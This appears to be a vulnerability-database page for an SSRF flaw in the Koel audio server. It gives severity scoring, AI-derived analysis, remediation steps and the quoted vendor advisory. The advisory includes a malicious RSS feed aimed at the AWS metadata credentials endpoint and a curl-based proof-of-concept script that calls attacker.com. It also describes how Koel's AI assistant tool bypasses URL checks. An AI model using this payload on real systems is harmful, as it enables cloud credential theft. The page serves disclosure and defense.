Skip to main content

Koel EUVDEUVD-2026-36545

| CVE-2026-47260 HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-05-29 https://github.com/koel/koel GHSA-7j2f-6h2r-6cqc
7.7
CVSS 3.1 · Vendor: https://github.com/koel/koel
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Register low-priv Koel account
  2. Delivery
    Host malicious RSS feed on public domain
  3. Exploit
    POST /api/podcasts with feed URL
  4. Install
    Koel parses XML, stores internal enclosure URL
  5. C2
    GET /play/{episode_id} triggers Http::sink()->get()
  6. Execute
    Server fetches cloud metadata / internal service
  7. Impact
    Response streamed to attacker, credentials exfiltrated

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires a valid authenticated Koel account on the target instance (CVSS PR:L) - Community edition is sufficient, no Plus license needed for the primary vector. The Koel server must have network reachability from itself to the SSRF target (e.g., cloud metadata service, internal subnet, localhost services) - exploitation against a Koel host with strict egress filtering or running on a network with no interesting internal services yields no useful data. The attacker must control a publicly resolvable HTTP(S) URL serving an RSS feed that passes SafeUrl (public IP, http/https scheme) but contains attacker-chosen <enclosure url="..."> values pointing to internal targets. No user interaction by a victim is required (UI:N); the attacker plays the episode themselves. Limiting factor: if the target instance disables public registration and the attacker has no credentials, exploitation requires social-engineering an account or chaining with a separate auth bypass. The secondary AddRadioStation variant additionally requires Koel Plus to be licensed and the AI assistant feature to be enabled.

Impact

Risk is moderate-to-high for exposed Koel instances that allow account registration. CVSS 7.7 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) accurately captures the picture: network-reachable, low complexity, requires only a low-privileged authenticated user (Community-edition account suffices), no user interaction, scope change (the SSRF reaches systems beyond Koel's own trust boundary), with high confidentiality impact and no integrity/availability impact. SSVC-style read: exploitation status is POC-level (the GHSA contains a copy-paste reproduction), the technique is partially automatable (mass-scanning cloud metadata endpoints from any Koel instance with open registration), and technical impact is partial - read-only but reaches cloud IAM credentials, which often pivots to total takeover of the hosting account. EPSS and CISA KEV data were not provided; absence of KEV is consistent with this being a newly disclosed niche-product vulnerability. The real prioritization driver is deployment context: Koel running on cloud IaaS (AWS/GCP/Azure) with IMDSv1 enabled is materially more dangerous than a self-hosted instance on a flat home network.

Exploit ScenarioDerived

An attacker registers a normal Koel account on a public or internally exposed instance, hosts a benign-looking RSS feed at a public URL whose <enclosure url="..."> points to http://169.254.169.254/latest/meta-data/iam/security-credentials/, subscribes to it via POST /api/podcasts (passing SafeUrl since the feed itself is public), then issues GET /play/{episode_id}. Koel's backend fetches the metadata endpoint with Http::sink()->get() and streams the IAM role credentials back in the response body. A working PoC bash script is included in the published GHSA advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 29, 2026

Server-side request forgery in Koel (composer/phanan/koel <= 9.3.4) allows authenticated low-privilege users to coerce the server into fetching arbitrary internal URLs and stream the full response back to the attacker. The flaw stems from podcast episode enclosure URLs being persisted unvalidated despite SafeUrl checks being applied to the parent feed URL; no public exploit identified at time of analysis, but a detailed working PoC is published in the GHSA advisory.

RemediationAI

Vendor-released patch: upgrade composer/phanan/koel to 9.3.5 or later, which introduces a new Network::isSafeUrl() helper (commit 8708f077efd7d8a332b32e954d65bc837f3a413a) that is now enforced inside PodcastService::synchronizeEpisodes, EpisodePlayable::createForEpisode (throwing a new UnsafeUrlException), the podcast-obsolescence check, and the AddRadioStation AI tool (commit be1e867982dcadefd4a75d768ce950b1d5234cdf). See https://github.com/koel/koel/security/advisories/GHSA-7j2f-6h2r-6cqc. If immediate upgrade is not possible, compensating controls in order of effectiveness: disable podcast subscription functionality for non-admin users; close public account registration so only trusted users can add feeds; deploy egress filtering at the host/VPC level to block Koel's outbound traffic to RFC1918 ranges and the cloud metadata address 169.254.169.254 (side effect: breaks any legitimate internal podcast hosting); on AWS, enforce IMDSv2 with hop-limit 1 to neutralize the credential-theft impact even if SSRF succeeds (no functional side effect for Koel).

Affected VersionsENISA

koel < 9.3.5

Affected Packages

composer phanan/koel fix: 9.3.5
euvd koel fix: 9.3.5

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Koel is a PHP/Laravel-based personal audio streaming server (package composer/phanan/koel). The vulnerability is a classic CWE-918 Server-Side Request Forgery rooted in inconsistent input validation across a trust boundary: the SafeUrl rule (scheme + DNS-resolved public IP + post-redirect check) is enforced on the user-supplied podcast feed URL in SubscribeToPodcastRequest, but child enclosure URLs parsed out of the RSS XML are written straight into the episodes table by PodcastService::synchronizeEpisodes (line 146). At playback time, EpisodePlayable::createForEpisode invokes Laravel's HTTP client via Http::sink($file)->get($episode->path)->throw(), downloading the full body to disk and streaming it back to the requester - turning the server into a full-read SSRF proxy. A secondary path exists in the AI assistant's AddRadioStation tool, which bypassed SafeUrl/HasAudioContentType entirely (Koel Plus only).

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/koel/koel) PRIMARY 7.7 HIGH
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Primary rating from Vendor (https://github.com/koel/koel) · only source for this CVE.

CVSS VectorVendor: https://github.com/koel/koel

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

DescriptionCVE.org

Summary

Koel validates the podcast feed URL via the SafeUrl rule (DNS resolution + public IP check), but the individual episode <enclosure url="..."> values extracted from the RSS XML are stored directly into the database without any SSRF validation. When a user plays an episode, the server downloads the full HTTP response from the unvalidated enclosure URL via Http::sink()->get() and streams it back to the user, enabling full-read SSRF against internal services.

---

Vulnerability Details

Episode URL Stored Without Validation

File: app/Services/Podcast/PodcastService.php, line 146

php
'path' => $episodeValue->enclosure->url,  // Unvalidated URL from RSS XML

The SafeUrl rule is applied to the podcast feed URL at subscription time (SubscribeToPodcastRequest), but episode enclosure URLs parsed from the feed XML are stored as-is.

SSRF Trigger: Full Content Download

File: app/Values/Podcast/EpisodePlayable.php, line 42

php
Http::sink($file)->get($episode->path)->throw();

When an episode is played, PodcastStreamerAdapter::stream() first attempts getStreamableUrl() (OPTIONS/HEAD requests to the episode URL). If no CORS header is present (which internal services won't have), it falls through to EpisodePlayable::createForEpisode(), which downloads the full response body and streams it back to the user.

SafeUrl Applied Only to Feed URL

File: app/Http/Requests/API/Podcast/SubscribeToPodcastRequest.php

php
public function rules(): array
{
    return ['url' => ['required', 'url:http,https', new SafeUrl]];
}

The SafeUrl rule (app/Rules/SafeUrl.php) validates scheme, DNS resolution to public IP, and effective URL after redirects. But this only protects the feed URL - not the content within the feed.

---

Attack Flow

  1. Attacker registers an account (Community edition, no Plus required)
  2. Attacker hosts a malicious RSS feed on a public server:
xml
   <rss version="2.0">
     <channel>
       <title>Legit Podcast</title>
       <item>
         <title>Episode 1</title>
         <enclosure url="http://169.254.169.254/latest/meta-data/iam/security-credentials/"
                    type="audio/mpeg" length="1000"/>
         <guid>ssrf-1</guid>
       </item>
     </channel>
   </rss>
  1. POST /api/podcasts with url=https://evil.com/feed.xml - passes SafeUrl (public URL)
  2. Koel parses feed, stores episode with path = http://169.254.169.254/...
  3. Attacker plays episode: GET /play/{episode_id}
  4. Server executes Http::sink($file)->get("http://169.254.169.254/...")
  5. AWS metadata response downloaded to disk, streamed back to attacker

---

Proof of Concept

bash
#!/bin/bash
# PoC: Koel SSRF via Podcast Episode Enclosure URL
# Step 1: Host malicious RSS feed (feed.xml) on attacker server
# Step 2: Subscribe to the podcast

KOEL_URL="https://TARGET"
API_TOKEN="<api_token>"
# Subscribe to malicious podcast
curl -X POST "$KOEL_URL/api/podcasts" \
  -H "Authorization: Bearer $API_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "https://attacker.com/feed.xml"}'
# List episodes to get the episode ID
EPISODE_ID=$(curl -s "$KOEL_URL/api/podcasts" \
  -H "Authorization: Bearer $API_TOKEN" | jq -r '.[0].episodes[0].id')
# Play the episode - triggers SSRF, returns internal service response
curl "$KOEL_URL/play/$EPISODE_ID?api_token=$API_TOKEN" -o response.bin

cat response.bin
# Expected: AWS metadata / internal service response

---

Impact

  • Cloud credential theft: Read AWS/GCP/Azure metadata endpoints (IAM credentials, tokens)
  • Internal network reconnaissance: Scan ports and enumerate internal HTTP services
  • Data exfiltration: Read responses from internal APIs, admin panels, databases with HTTP interfaces
  • Full response body: Unlike blind SSRF, the entire response is returned to the attacker

---

Secondary Finding: SSRF Bypass via AI Radio Station Tool

File: app/Ai/Tools/AddRadioStation.php, lines 35-38

The AI assistant's AddRadioStation tool creates radio stations by calling RadioService::createRadioStation() directly, bypassing the SafeUrl and HasAudioContentType validation rules that protect the REST API endpoint.

Impact: Same SSRF but requires Plus license. CVSS 7.7 HIGH.

---

Novelty Check

  • No existing CVEs found for Koel (searched NVD, GitHub Advisories, web)
  • No SECURITY.md in the repository
  • This is a novel vulnerability

---

Remediation

Fix 1: Validate episode enclosure URLs in synchronizeEpisodes():

php
foreach ($episodeCollection as $episodeValue) {
    $enclosureUrl = $episodeValue->enclosure->url;
    $host = parse_url($enclosureUrl, PHP_URL_HOST);
    if (!$host || !Network::isPublicHost($host)) {
        continue; // Skip episodes with non-public URLs
    }
    // ... rest of episode creation
}

Fix 2: Defense-in-depth validation at playback time in EpisodePlayable::createForEpisode().

Fix 3: Add SafeUrl validation in AddRadioStation AI tool.

Executive ViewAI

Why It Matters

A server-side request forgery vulnerability in Koel music streaming platform (versions up to 9.3.4) permits authenticated low-privilege users to retrieve sensitive internal resources and data. Organizations operating Koel deployments face exposure of backend services, configuration data, and potentially internal network architecture details accessible only to the affected system.

Business Impact: High
Compensating Controls

Apply vendor patch. Working proof-of-concept published in GHSA advisory-expedite deployment.

Threat Intelligence Overview

EPSS Score
0.0%
Top 90% exploitable
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy